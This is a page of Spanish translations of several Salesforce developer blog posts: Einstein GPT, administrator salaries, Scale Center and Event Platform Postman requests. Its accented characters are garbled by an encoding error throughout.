Si bien el c贸digo generado anteriormente no requiri贸 muchas ediciones, es posible que necesite personalizar la salida generada por Einstein GPT seg煤n sus necesidades durante el desarrollo. El panel Einstein GPT: Historial y comentarios dentro del IDE le permite compartir comentarios sobre el resultado generado. 隆Estos comentarios son imprescindibles para ayudarnos a capacitar a nuestro LLM y mejorar su resultado! Estamos emocionados de escuchar sus comentarios.

Transformando el proceso de desarrollo

Reci茅n estamos comenzando con la IA generativa para transformar su flujo de trabajo de desarrollo. Mira lo que viene pronto:

  • Compatibilidad con Lightning Web Component (LWC): genere c贸digo LWC basado en el procesamiento del lenguaje natural (NLP)
  • Finalizaci贸n predictiva de c贸digo en l铆nea: complete autom谩ticamente la siguiente l铆nea de c贸digo sugerida con metadatos contextuales del proyecto.
  • Verificaci贸n del rendimiento del c贸digo: escanee el c贸digo Apex y corrija errores de tiempo de ejecuci贸n durante el proceso de desarrollo
  • Asistencia conversacional: P铆dale a Einstein que genere c贸digo contextual y documentaci贸n, explique el c贸digo o resuelva problemas complejos.

Conclusi贸n

A medida que Einstein GPT para desarrolladores ampl铆e sus capacidades para admitir LWC, proporcionar finalizaci贸n de c贸digo inteligente y brindar asistencia conversacional, podr谩 desarrollar la plataforma Salesforce m谩s r谩pido que nunca. Nuestro objetivo es que est茅 disponible en Beta abierta en Dreamforce 2023 , para que todos puedan tener acceso a la herramienta. 隆脷nase a nosotros en Dreamforce '23 para jugar y profundizar en Einstein GPT para desarrolladores!

Recursos adicionales

Sobre el Autor

Mohith Shrivastava es desarrollador defensor en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes de Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de LinkedIn .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Gu铆a salarial de administrador de Salesforce (+ consejos para ganar m谩s) – Inspire Planner

Gu铆a salarial de administrador de Salesforce (+ consejos para ganar m谩s) - Inspire Planner

Una estad铆stica sorprendente de Skuid revela que entre el 20 y el 70 % de los proyectos de CRM fallan debido a la falta de experiencia profesional. Las empresas sin administradores de Salesforce capacitados son similares a los propietarios de autom贸viles costosos de alto rendimiento pero sin licencia de conducir. Lo tienes, pero no puedes usarlo en todo su potencial. Como un h谩bil conductor detr谩s del volante, los administradores de Salesforce garantizan el funcionamiento perfecto de Salesforce, la plataforma de CRM l铆der en el mundo. Pueden adaptar la plataforma para que se adapte a las necesidades comerciales 煤nicas, navegando sus complejidades con facilidad. Pero surge una pregunta importante: 驴qu茅 factores influyen significativamente en el salario de un administrador de Salesforce?

En esta Gu铆a de salario de administrador de Salesforce, profundizaremos en estas preguntas y descubriremos informaci贸n crucial en el camino. A partir de esta gu铆a, puede esperar descubrir:

  • El papel fundamental de un administrador de Salesforce en la industria tecnol贸gica
  • Un an谩lisis completo de los salarios de los administradores de Salesforce, teniendo en cuenta factores como la experiencia, la ubicaci贸n, la industria y las certificaciones.
  • El impacto de las certificaciones y la experiencia en el salario de un administrador de Salesforce
  • Variaciones geogr谩ficas de los salarios de los administradores de Salesforce en EE. UU., India y en todo el mundo
  • Efecto de los cambios de trabajo frente a la permanencia en el trabajo en la progresi贸n salarial del administrador de Salesforce
  • Consejos pr谩cticos para los administradores de Salesforce que buscan aumentar sus ingresos

Profundicemos y desentra帽emos los aspectos importantes de ser un administrador de Salesforce exitoso.

驴Qu茅 hace un administrador de Salesforce?

Los administradores de Salesforce tienen muchas funciones. Administran usuarios, datos y seguridad, personalizan Salesforce para satisfacer las necesidades comerciales, crean informes y paneles y brindan capacitaci贸n a los usuarios finales. Su funci贸n requiere una combinaci贸n de habilidades t茅cnicas y blandas, incluida la resoluci贸n de problemas, la comunicaci贸n, la gesti贸n de proyectos y una comprensi贸n profunda de las funcionalidades de Salesforce.

Seg煤n un estudio realizado por IDC, se prev茅 que el ecosistema de Salesforce, incluidos sus clientes y socios, genere 9,3 millones de nuevos puestos de trabajo y contribuya a $1,6 billones en nuevos ingresos comerciales a nivel mundial para 2026. A medida que m谩s empresas adopten Salesforce, el papel de Salesforce Los administradores solo se volver谩n m谩s fundamentales, haciendo de esta profesi贸n no solo un trabajo, sino una opci贸n de carrera pr贸spera.

Salario de administrador de Salesforce en los EE. UU.

Salario de nivel de entrada y salario promedio anual del administrador de Salesforce

Seg煤n Payscale, para aquellos que reci茅n comienzan su viaje como administradores de Salesforce, el salario inicial en los EE. UU. es de aproximadamente $ 61,000 por a帽o. Esta cifra representa el salario inicial est谩ndar para los administradores que tienen menos de un a帽o de experiencia. La cifra puede cambiar seg煤n variables como la ubicaci贸n, la industria y el tama帽o de la empresa.

El salario anual promedio de los administradores de Salesforce en los EE. UU. es de alrededor de $ 73,500. Esta cifra es un promedio de varios niveles de experiencia, industrias y ubicaciones dentro de los EE. UU. Incluye el salario base, aguinaldos, participaci贸n en las utilidades y cualquier otro beneficio econ贸mico, en su caso.

Variaciones del salario del administrador de Salesforce seg煤n la experiencia y la industria

Con 2 a 5 a帽os de experiencia, los administradores pueden esperar ganar alrededor de $71,000 por a帽o. Los administradores s茅nior de Salesforce con m谩s de 5 a帽os de experiencia pueden ganar entre $86 000 y $92 000 por a帽o, seg煤n los datos de Payscale.

La industria tambi茅n juega un factor clave en la determinaci贸n del salario. Por ejemplo, los administradores de Salesforce en los sectores de tecnolog铆a y finanzas a menudo ganan m谩s que los de otras industrias debido a la mayor demanda y complejidad de las tareas en estos sectores.

Variaciones geogr谩ficas en el salario del administrador de Salesforce

La ubicaci贸n geogr谩fica es otro factor clave que influye en los salarios. Los estados que tienen costos de vida m谩s altos, como California y Nueva York, frecuentemente ofrecen salarios m谩s altos como contrapeso. De manera similar, los estados con una alta concentraci贸n de empresas tecnol贸gicas, como Washington y Texas, tambi茅n tienden a ofrecer salarios m谩s altos debido al mercado laboral competitivo.

Salesforce Admin Salario en India

India es uno de los mercados m谩s grandes para el talento tecnol贸gico y juega un papel crucial en el ecosistema de Salesforce. Los ingresos de los administradores de Salesforce en la India tambi茅n est谩n determinados por numerosas variables, como la experiencia, la ubicaci贸n geogr谩fica, la industria y las certificaciones.

Seg煤n Talent.com, la estructura del salario del administrador de Salesforce en India var铆a ampliamente, dependiendo de varios factores. En promedio, pueden esperar ganar 鈧 1,100,000 por a帽o. Para aquellos que reci茅n comienzan su viaje de Salesforce, los salarios de nivel de entrada son alrededor de 鈧 500,000 por a帽o.

Sin embargo, a medida que los administradores de Salesforce acumulan experiencia y perfeccionan sus habilidades, su potencial de ingresos crece significativamente. Los profesionales m谩s experimentados en este campo pueden obtener salarios de hasta 鈧 1 737 500 por a帽o, lo que demuestra la importante progresi贸n financiera posible en esta carrera.

Salario del administrador de Salesforce a nivel mundial

En el panorama tecnol贸gico en constante evoluci贸n, los administradores de Salesforce desempe帽an un papel fundamental a nivel mundial. Aqu铆 hay un resumen de los salarios promedio de los administradores de Salesforce en varios pa铆ses a trav茅s de diferentes niveles de experiencia:

Salesforce Admin Salary Guide Globally de Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de SalesforceSalesforce Admin Salary Guide Globally de Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Estos n煤meros pueden variar seg煤n numerosos factores, incluidos el pa铆s, la industria y el tama帽o de la organizaci贸n. A medida que los administradores obtienen m谩s experiencia y dominan las funcionalidades de Salesforce, sus salarios aumentan significativamente.

Influencia de la certificaci贸n y la experiencia en el salario

El poder de las certificaciones y la experiencia de Salesforce para configurar el salario de un administrador de Salesforce no se puede subestimar. Seg煤n la Encuesta de salarios de Mason Frank, se revel贸 que el 43% de los encuestados vieron un aumento en su salario despu茅s de obtener una certificaci贸n, lo que destaca la correlaci贸n directa entre la mejora profesional y las recompensas financieras.

Tambi茅n es fundamental centrarse estrat茅gicamente en las certificaciones m谩s pertinentes. La certificaci贸n de Administrador Avanzado, por ejemplo, es muy buscada ya que valida la experiencia en caracter铆sticas y funcionalidades avanzadas de Salesforce. Del mismo modo, tener una certificaci贸n de Platform App Builder puede brindar una ventaja considerable para aquellos que aspiran a validar su competencia en el dise帽o, la creaci贸n y la implementaci贸n de aplicaciones personalizadas en la plataforma Salesforce.

La experiencia tambi茅n tiene un peso inmenso en el salario de un administrador de Salesforce. El mismo estudio de Mason Frank sugiere que un profesional de Salesforce con m谩s de cinco a帽os de experiencia puede ganar hasta un 20% m谩s que sus contrapartes con menos experiencia.

Sin embargo, si bien es beneficioso tener m煤ltiples certificaciones, es crucial equilibrar esto con la adquisici贸n de experiencia en el mundo real. Los empleadores valoran la experiencia pr谩ctica, por lo que centrarse 煤nicamente en las certificaciones sin aplicar las habilidades aprendidas podr铆a hacerte parecer sobrecualificado o fuera de contacto con los aspectos pr谩cticos del puesto.

Tenencia de trabajo vs. Salto de trabajo: 驴Qu茅 afecta m谩s la progresi贸n salarial?

En el sector de la tecnolog铆a, y espec铆ficamente dentro de los roles de Salesforce, a menudo vemos una mezcla de experiencias. Para algunos, la lealtad a una sola organizaci贸n conduce a una progresi贸n salarial constante, especialmente si pueden obtener un ascenso dentro de la organizaci贸n. Sin embargo, otros descubren que cambiar de trabajo cada pocos a帽os acelera el crecimiento de su salario de administrador de Salesforce debido a la "prima de salto de trabajo".

Seg煤n los hallazgos del Instituto de Investigaci贸n ADP, los empleados que se apegan a sus trabajos han visto crecer sus salarios en un 5,9 %, mientras que aquellos que cambian de trabajo ven un salto mayor, con un aumento del 8,0 %.

Sin embargo, no se trata solo de perseguir el salario m谩s alto. Cambiar de trabajo puede conducir potencialmente a percepciones de inestabilidad o falta de compromiso, lo que podr铆a afectar las perspectivas laborales futuras. Por otro lado, permanecer en una empresa durante un per铆odo prolongado podr铆a limitar la exposici贸n a diversas experiencias y, potencialmente, ralentizar el ritmo de desarrollo de habilidades y progresi贸n profesional.

Por lo tanto, si bien cambiar de trabajo puede generar una ganancia financiera inmediata, considere otros factores, como las oportunidades de aprendizaje, la cultura laboral, el equilibrio entre el trabajo y la vida personal y el crecimiento profesional a largo plazo al tomar tales decisiones. Despu茅s de todo, una carrera satisfactoria es algo m谩s que las cifras de su cheque de pago.

Consejos para aumentar el salario del administrador de Salesforce

Estos son algunos consejos pr谩cticos para los administradores de Salesforce que buscan aumentar sus ingresos.

  • Obtenga certificaciones de Salesforce : Salesforce ofrece una variedad de certificaciones que certifican su comprensi贸n y experiencia en varias facetas de la plataforma. Las certificaciones como Administrador avanzado o Creador de aplicaciones de plataforma no son solo muestras de su dedicaci贸n para dominar la plataforma; tambi茅n dan fe de su capacidad para manejar tareas m谩s complejas. Obtener estas certificaciones puede mejorar considerablemente su valor de mercado.
  • Especial铆cese en un 谩rea particular : aunque la versatilidad es un rasgo deseable en los administradores de Salesforce, perfeccionar un 谩rea espec铆fica puede aumentar su valor para las empresas. Por ejemplo, centrarse en CPQ (Configurar, Precio, Cotizar) puede abrir oportunidades en sectores donde la fijaci贸n de precios de productos o servicios es compleja. Al convertirse en un experto en CPQ, se posiciona como un especialista que puede optimizar procesos complejos, aumentando as铆 su potencial de ingresos. Consulte nuestra gu铆a para conocer los mejores recursos para la capacitaci贸n de Salesforce.
  • Agregue valor al negocio : los administradores de Salesforce pueden aumentar su salario demostrando su valor para el negocio. Esto podr铆a implicar la automatizaci贸n de procesos en Salesforce, la implementaci贸n de nuevas funciones que aumenten la eficiencia o la capacitaci贸n de usuarios finales para utilizar mejor la plataforma. Al mostrar c贸mo su trabajo contribuye a los resultados de la empresa, puede presentar argumentos s贸lidos a favor de un salario m谩s alto. Aqu铆 puede encontrar m谩s consejos sobre c贸mo ser un administrador de Salesforce exitoso.
  • Comprenda su valor : use recursos como la Encuesta anual de salarios de Mason Frank, Payscale o Glassdoor para obtener una imagen realista de cu谩l es el salario t铆pico de un administrador de Salesforce seg煤n su ubicaci贸n, industria y nivel de experiencia. Esto lo ayuda a medir su valor de mercado y proporciona una base para comenzar las negociaciones.
  • Est茅 preparado : antes de la negociaci贸n, enumere sus principales contribuciones y logros. Incluya proyectos o iniciativas espec铆ficas que hayan tenido un impacto sustancial en el negocio. Esto puede proporcionar evidencia convincente de su val铆a.
  • Practique la escucha activa : la negociaci贸n no se trata solo de hacer demandas; tambi茅n se trata de comprender la perspectiva de la otra parte. Escuchar puede ayudarlo a identificar lo que es importante para el empleador y encontrar puntos en com煤n.
  • Busque un mentor : busque profesionales que est茅n un par de etapas por delante de usted en su carrera en Salesforce, preferiblemente de 2 a 5 a帽os. Estas personas tendr谩n una experiencia reciente y relevante que se alinea estrechamente con los desaf铆os que es probable que encuentre.

Resumen

A medida que la ola de transformaci贸n digital sigue aumentando, la demanda de administradores de Salesforce capacitados se dispara. En particular, las funciones de estos profesionales se extienden m谩s all谩 de la competencia t茅cnica y exigen una combinaci贸n armoniosa de habilidades blandas y una comprensi贸n profunda de los procesos comerciales.

No se puede subestimar la influencia de las certificaciones, la experiencia y la ubicaci贸n geogr谩fica en el salario de un administrador de Salesforce. Un administrador certificado de Salesforce, especialmente con habilidades de nicho como CPQ, puede esperar un aumento salarial, con incrementos adicionales paralelos a su experiencia acumulada. Los datos muestran que los cambios frecuentes de trabajo tambi茅n pueden contribuir a un aumento m谩s r谩pido de los ingresos en comparaci贸n con permanencias m谩s largas en una empresa.

Sin embargo, no se trata solo de buscar certificaciones o cambiar de trabajo. La creaci贸n de una red s贸lida, la b煤squeda de mentores y el perfeccionamiento de sus habilidades de negociaci贸n son esenciales para mejorar su valor y, en consecuencia, su potencial de ingresos.

Para los posibles administradores de Salesforce o los experimentados que buscan avanzar, recuerde que es una combinaci贸n de aprendizaje continuo, movimientos profesionales estrat茅gicos y aprovechar la vibrante comunidad de Salesforce lo que lo colocar谩 en los tramos salariales m谩s altos.

Seguir leyendo

Salesforce Scale Center est谩 generalmente disponible 鈽侊笍

Salesforce Scale Center est谩 generalmente disponible 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Salesforce Scale Center est谩 generalmente disponible | Blog de desarrolladores de Salesforce

Trailblazer.me estar谩 fuera de l铆nea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pac铆fico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podr谩 iniciar sesi贸n en ninguna aplicaci贸n relacionada, incluidas Ayuda y capacitaci贸n, AppExchange, Trailhead y Trailblazer Community, y m谩s.

Estamos encantados de anunciar la disponibilidad general de Scale Center , una potente aplicaci贸n dise帽ada para ayudar a nuestros clientes a optimizar sus implementaciones de Salesforce con informaci贸n mejorada sobre rendimiento y escalabilidad. Scale Center revoluciona la forma en que los equipos abordan el desarrollo, las pruebas y el monitoreo al proporcionar acceso de autoservicio y casi en tiempo real a las m茅tricas de rendimiento de la organizaci贸n y a los conocimientos pr谩cticos.

En esta publicaci贸n, escuchar谩 c贸mo Salesforce Scale Center ayuda a los ingenieros, arquitectos, desarrolladores y administradores de rendimiento a evaluar y resolver de manera proactiva los problemas de rendimiento en sus implementaciones de Salesforce, lo que permite a las empresas escalar con confianza.

La importancia de construir a escala

Escalar de manera eficiente es un aspecto cr铆tico del dise帽o e implementaci贸n de aplicaciones en la plataforma Salesforce. Muchos clientes solo se dan cuenta de los problemas de escalabilidad una vez que los usuarios finales comienzan a informar un rendimiento y usabilidad degradados; en este punto, estos problemas ya han afectado el negocio. Dise帽ar para el futuro y predecir y simular el tr谩fico comercial futuro puede ser un desaf铆o. Si bien algunos errores pueden detectarse durante la fase de dise帽o, la mayor铆a de los errores ocurren solo durante el tiempo de ejecuci贸n en producci贸n y, a veces, se manifiestan durante las cargas m谩ximas.

Salesforce Scale Center proporciona la visibilidad necesaria de las m茅tricas de rendimiento necesarias para aislar los puntos cr铆ticos y la capacidad de profundizar en estos puntos cr铆ticos para el an谩lisis de la causa ra铆z y la gu铆a de remediaci贸n. Con Salesforce Scale Center, ahora puede abordar la escalabilidad de la aplicaci贸n de manera proactiva en lugar de reactivamente, asegurando soluciones m谩s disponibles, receptivas y de rendimiento para su usuario final.

Obtenga una visi贸n completa de sus m茅tricas de rendimiento

Salesforce Scale Center permite a los clientes ver una instant谩nea de las m茅tricas de rendimiento de su organizaci贸n durante un intervalo de tiempo definido. A los clientes se les proporciona un panel 煤nico de visualizaci贸n de errores comunes, incluidos inicios de sesi贸n fallidos, errores de Apex simult谩neos y errores de Rowlock. Adem谩s, los clientes pueden ver las m茅tricas clave visualizadas en un gr谩fico durante la duraci贸n del intervalo de tiempo, incluido el tiempo de solicitud promedio, el tiempo de CPU de la base de datos y los errores totales. Con esta vista, los clientes pueden identificar r谩pidamente puntos cr铆ticos de rendimiento y escala.

Llevar a cabo un an谩lisis profundo de un problema de rendimiento

Caso de uso: optimizaci贸n del rendimiento de la base de datos

Salesforce Scale Center no se detiene simplemente en la visibilidad. Una vez que se observan puntos cr铆ticos, problemas y picos dentro de las m茅tricas de rendimiento, los clientes pueden investigar los componentes y sistemas que est谩n causando el problema.

Echemos un vistazo a nuestro primer caso de uso: optimizar el rendimiento de la base de datos. Imagine un escenario en el que los usuarios finales informen que el proceso de registro de su aplicaci贸n lleva mucho tiempo y falla con frecuencia. A continuaci贸n, explicaremos c贸mo puede abordar este problema utilizando Salesforce Scale Center.

  1. Navegue hasta el gr谩fico de CPU de la base de datos .

2. En el gr谩fico, haga clic y arrastre para resaltar los picos en las m茅tricas de rendimiento.

3. Seleccione el tipo de informe e inicie un an谩lisis de la base de datos.

4. Cambie a la pesta帽a An谩lisis de rendimiento para ver el informe generado.

5. Dentro del informe, puede identificar las principales consultas SOQL por tiempo de CPU de base de datos y procesos DML para solucionar qu茅 acciones espec铆ficas est谩n provocando una mala experiencia del usuario final.

Los tipos de informes disponibles en Salesforce Scale Center incluyen: Resumen de Apex, Apex concurrente, Rendimiento de base de datos, Rendimiento de flujo, L铆mites reguladores, Vistas de lista e informes, Rendimiento de integraciones y Bloqueo de fila. Adicionalmente, existe un informe consolidado que engloba todos los an谩lisis.

Al seguir estos pasos y aprovechar el poder de Salesforce Scale Center, los desarrolladores pueden abordar los cuellos de botella en el rendimiento y optimizar los procesos para mejorar la eficiencia.

Comparar el rendimiento en diferentes per铆odos de tiempo

Salesforce Scale Center permite a los clientes comparar las m茅tricas de rendimiento de la organizaci贸n en diferentes per铆odos de tiempo. Los casos de uso clave incluyen:

  • Preparaci贸n para la implementaci贸n de producci贸n:
    • Realice pruebas de rendimiento en un entorno de espacio aislado
    • Analice los resultados de las pruebas en Scale Center para identificar cuellos de botella o problemas de rendimiento antes de implementarlos en producci贸n
  • Evaluaci贸n del impacto posterior a la implementaci贸n:
    • Despu茅s de un lanzamiento importante o una implementaci贸n de funciones en producci贸n, aproveche Scale Center para comparar las m茅tricas de la organizaci贸n antes y despu茅s de la implementaci贸n.
    • Determinar si la implementaci贸n ha tenido alg煤n impacto negativo en el desempe帽o general de la organizaci贸n.
  • An谩lisis del rendimiento durante los d铆as pico:
    • Utilice la funci贸n de comparaci贸n de Scale Center para evaluar el impacto en el rendimiento de la organizaci贸n durante los d铆as pico.
    • Compare las m茅tricas de tr谩fico y rendimiento con el comportamiento de referencia, lo que ayuda a identificar cualquier cambio o problema potencial.

C贸mo comparar per铆odos de tiempo en Salesforce Scale Center

  1. Proporcione un rango de tiempo base y un rango de tiempo de comparaci贸n.

2. Compare las m茅tricas de primera l铆nea.

3. Compare los gr谩ficos de rendimiento de la organizaci贸n.

Al aprovechar la funci贸n de comparaci贸n de Scale Center, los desarrolladores pueden obtener informaci贸n valiosa sobre el rendimiento de la organizaci贸n, identificar 谩reas de optimizaci贸n y garantizar un proceso de implementaci贸n fluido y eficiente.

Comience con Salesforce Scale Center

Scale Center es de uso gratuito y est谩 disponible en todas las organizaciones de sandbox de copia completa y de producci贸n de UE.

Consideraciones del producto:

  • Scale Center no tiene impacto en el rendimiento de la organizaci贸n y no accede a los datos de su organizaci贸n
  • Tenga en cuenta que Scale Center no es compatible con Government Cloud Plus
  • Si desea que Scale Center est茅 habilitado en una organizaci贸n fuera de UE, comun铆quese con su representante de cuenta

Para acceder al Centro de escala:

  1. Navegue a Configuraci贸n.
  2. Ingrese "Centro de escala" en el cuadro B煤squeda r谩pida y haga clic en la pesta帽a Rendimiento de la organizaci贸n en la hoja Rendimiento.
  3. Habilite Scale Center para su organizaci贸n activando la opci贸n Habilitar Scale Center .

Tenga en cuenta que las m茅tricas de rendimiento pueden tardar hasta dos horas en aparecer despu茅s de habilitar Scale Center.

M谩s recursos

Sobre el Autor

Justin Saintil es Gerente de Producto Asociado en Salesforce y trabaja en la Cartera de Productos de Escalabilidad.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Explore la API de la plataforma de eventos con la colecci贸n de cartero extendida 鈽侊笍

Explore la API de la plataforma de eventos con la colecci贸n de cartero extendida 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Explore la API de la plataforma de eventos con la colecci贸n extendida de Postman | Blog de desarrolladores de Salesforce

Para una gran cantidad de nuestros clientes, la plataforma Salesforce sirve como la piedra angular de sus sistemas de informaci贸n y, por lo tanto, debe integrarse perfectamente con una amplia gama de sistemas de terceros. Entre las muchas opciones de integraci贸n disponibles se encuentra la plataforma de eventos de Salesforce.

En esta publicaci贸n, repasaremos brevemente la plataforma de eventos y luego exploraremos la nueva plataforma de eventos y las solicitudes de API que se agregaron a la colecci贸n de API de la plataforma de Salesforce en Postman. Tambi茅n aprender谩 c贸mo introdujimos la capacidad de configurar Event Relays y canales personalizados con Postman.

Acerca de la plataforma de eventos de Salesforce

Event Platform consta de diferentes funciones que le permiten crear arquitecturas basadas en eventos gracias a Salesforce Event Bus.

Tipos de eventos

El bus de eventos de Salesforce admite dos tipos principales de eventos casi en tiempo real: eventos de plataforma y eventos de cambio.

Los eventos de la Plataforma permiten la comunicaci贸n dentro de la Plataforma y con sistemas externos. Estos eventos se pueden enviar y recibir con c贸digo personalizado o herramientas declarativas, como Flow. Hay eventos de plataforma est谩ndar con campos predefinidos y eventos personalizados que puede crear con campos personalizados.

Los eventos de cambio son enviados autom谩ticamente por la Plataforma cada vez que se crea, modifica, elimina o recupera un registro. Cada evento de cambio est谩 vinculado a un objeto de Salesforce est谩ndar o personalizado, y los campos de evento coinciden con los de su objeto principal.

Los eventos de plataforma y los eventos de cambio se pueden enviar y recibir gracias a una selecci贸n de dos tecnolog铆as de transmisi贸n: la biblioteca CometD heredada o la API Pub/Sub basada en gRCP m谩s moderna . Independientemente de la tecnolog铆a o el tipo de evento, publica o se suscribe a eventos a trav茅s de canales dedicados.

Canales personalizados

Puede definir un canal personalizado para agrupar mensajes de eventos del mismo tipo (eventos de plataforma o eventos de cambio) en una transmisi贸n. Por ejemplo, puede combinar eventos de cambio de cuenta, contacto y pedido en un solo canal personalizado CustomerUpdates__chn . Despu茅s de suscribirse a este canal, recibir谩 notificaciones sobre cambios en cualquiera de esos tres objetos.

Tenga en cuenta que los canales personalizados son compatibles con eventos de plataforma personalizados, pero no con eventos de plataforma est谩ndar.

Adem谩s de la capacidad de agrupar varios eventos, los canales personalizados desbloquean dos funciones: filtrado de eventos y cambio de enriquecimiento de eventos.

El filtrado de eventos le permite configurar expresiones que filtran los eventos que se env铆an en un canal personalizado. Por ejemplo, podr铆a crear un canal espec铆fico como UkLargeCustomerUpdates__chn que filtra las actualizaciones de la cuenta, donde el pa铆s de facturaci贸n es el Reino Unido y los ingresos anuales superan los 500k. El uso del filtrado de eventos ayuda a simplificar el c贸digo del lado del cliente, pero tambi茅n ayuda a evitar los l铆mites m谩ximos de suscriptores simult谩neos .

Los canales personalizados de Change Data Capture tambi茅n otorgan la capacidad de declarar campos enriquecidos . Cuando se trabaja con eventos de cambio, solo se pasan los valores de campo actualizados en los datos del evento. Esta optimizaci贸n puede ser problem谩tica en ciertas situaciones, por ejemplo, cuando desea sincronizar con un sistema de terceros con una ID externa. En este caso, el ID externo no cambia, por lo que nunca forma parte de los datos del evento de cambio. Afortunadamente, el enriquecimiento de campos le permite declarar un canal personalizado en el que puede especificar campos que siempre se pasar谩n en el contexto de eventos de cambio.

Relevo de eventos

Event Relay le permite integrar perfectamente los eventos en tiempo real de Salesforce con Amazon Web Services (AWS). Gracias a Event Relay, los eventos de la plataforma y los eventos de Change Data Capture se env铆an a Amazon EventBridge a trav茅s de canales y los componentes de AWS pueden consumirlos directamente. Los componentes de AWS tambi茅n pueden publicar eventos de plataforma de forma nativa.

Consulte esta publicaci贸n de Event Relay para obtener m谩s informaci贸n.

Antes del lanzamiento de Summer '23, Event Relay solo se pod铆a configurar a trav茅s de las API. Ahora, hay una interfaz de usuario dedicada en Configuraci贸n. La 煤nica pieza que a煤n necesita crear a trav茅s de la API de herramientas o la API de metadatos son los canales personalizados.

Actualizaciones de Salesforce Event Platform para la colecci贸n Postman

En junio, actualizamos la colecci贸n de API de Salesforce Platform para Postman para incluir solicitudes para interactuar con Event Platform . Si no est谩 familiarizado con Postman o la colecci贸n de API de plataforma, eche un vistazo al proyecto Quick Start: Connect Postman to Salesforce Trailhead para comenzar.

Canales personalizados

Nuestras nuevas solicitudes de Postman son un gran ahorro de tiempo ya que, a partir del lanzamiento de Summer '23, los canales personalizados solo se pueden configurar a trav茅s de metadatos o llamadas a la API de herramientas y no se pueden modificar directamente en la configuraci贸n de Salesforce.

Hemos introducido una serie de solicitudes para realizar operaciones de creaci贸n, lectura, actualizaci贸n y eliminaci贸n (CRUD) en canales personalizados y los dos tipos de metadatos relacionados: PlatformEventChannel (consulte los documentos ) y PlatformEventChannelMember (consulte los documentos ).

A pesar de sus nombres, estos tipos de metadatos funcionan tanto para eventos de plataforma como para canales personalizados de eventos de cambio. Las 煤nicas diferencias son que el valor del atributo ChannelType debe establecerse en event para eventos de plataforma o data para eventos de cambio, y que el atributo EnrichedFields solo est谩 disponible para canales personalizados de eventos de cambio.

Publicar eventos de la plataforma

Hemos agregado una serie de ejemplos para eventos de plataforma de publicaci贸n. Movimos la solicitud de la API REST existente a la nueva subcarpeta Publicar eventos de la plataforma y agregamos dos ejemplos para publicar varios eventos en una sola solicitud con la API compuesta y la API SOAP.

Configuraci贸n de retransmisi贸n de eventos

La carpeta Configuraci贸n de retransmisi贸n de eventos es donde se encuentran la mayor铆a de las solicitudes nuevas. Estas nuevas solicitudes son fundamentales para configurar un relevo de eventos:

  • Operaciones CRUD en Credenciales con nombre que se introdujeron en Summer '23
  • Operaciones CRUD en la configuraci贸n de Event Relay
  • Comentarios de retransmisi贸n de eventos de consultor铆a

esquema de eventos

Agregamos dos nuevas solicitudes para recuperar el esquema de un evento de plataforma, ya sea desde su ID o desde su nombre . Estas solicitudes son 煤tiles para recuperar los campos de los eventos.

Lo que nos depara la colecci贸n Postman

Invertimos continuamente en nuestra colecci贸n de API de plataforma y buscamos agregar soporte para la suscripci贸n a eventos de la API Pub Sub. CometD no ser谩 compatible, ya que es una biblioteca que requiere un servidor de aplicaciones, pero estamos considerando conectarnos con la API Pub/Sub basada en gRPC .

Postman ha lanzado una serie de funciones para interactuar con las API de gRPC desde el a帽o pasado. Gracias a esto, podemos conectarnos a la API de Pub/Sub, suscribirnos a eventos y recibirlos. Sin embargo, lamentablemente no podemos decodificar su carga 煤til, ya que est谩 comprimida por la plataforma de Salesforce por motivos de rendimiento. Estamos esperando una nueva caracter铆stica de Postman que nos permita cargar una biblioteca (Apache Avro) para decodificar las cargas 煤tiles de eventos cuando se reciben.

palabras de cierre

Eso es todo para nuestra breve descripci贸n general de Event Platform y las 煤ltimas incorporaciones a la colecci贸n de API de Salesforce Platform. Gracias al crecimiento de esta caja de herramientas, puede comenzar r谩pidamente a explorar y configurar Event Platform.

Si disfruta de nuestro contenido de Postman, h谩ganoslo saber. Tambi茅n puede echar un vistazo a nuestras otras colecciones de c贸digo abierto y contribuir .

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Presentamos HowToDev_ 鈽侊笍

Presentamos HowToDev_ 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Presentamos HowToDev_ | Blog de desarrolladores de Salesforce

HowToDev_ es una nueva serie sobre Salesforce+ que creamos para ayudar a los desarrolladores a familiarizarse con Salesforce Platform. Si ya tiene habilidades tecnol贸gicas pero es nuevo en el ecosistema de Salesforce, o si desea aprender un poco sobre el desarrollo, 隆HowToDev_ es la serie para usted!

